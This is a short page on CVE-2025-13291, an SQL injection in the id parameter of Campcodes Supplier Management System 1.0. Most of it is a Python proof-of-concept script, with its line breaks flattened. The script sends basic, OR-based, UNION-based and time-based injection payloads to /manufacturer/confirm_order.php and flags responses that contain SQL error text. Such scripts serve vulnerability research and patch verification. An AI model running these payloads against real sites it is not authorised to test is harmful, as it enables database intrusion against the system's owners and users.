CVE-2025-13291 Campcodes供应商管理系统ID参数SQL注入漏洞

import requests import sys # CVE-2025-13291 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /manufacturer/confirm_order.php def test_sqli(url, param_id): # Test basic SQL injection with single quote target_url = f"{url}/manufacturer/confirm_order.php" # Test payload: ID parameter with SQL injection payloads = [ "1'", # Basic injection test "1' OR '1'='1", # OR injection "1' UNION SELECT NULL--", # Union-based injection "1' AND SLEEP(5)--" # Time-based blind injection ] for payload in payloads: params = {"id": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") # Check for SQL error indicators sql_errors = ['mysql', 'sql', 'syntax', 'error', 'warning'] if any(err in response.text.lower() for err in sql_errors): print("[!] Potential SQL injection detected!") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13291.py <target_url>") print("Example: python cve-2025-13291.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-13291 on {target}") test_sqli(target, "id")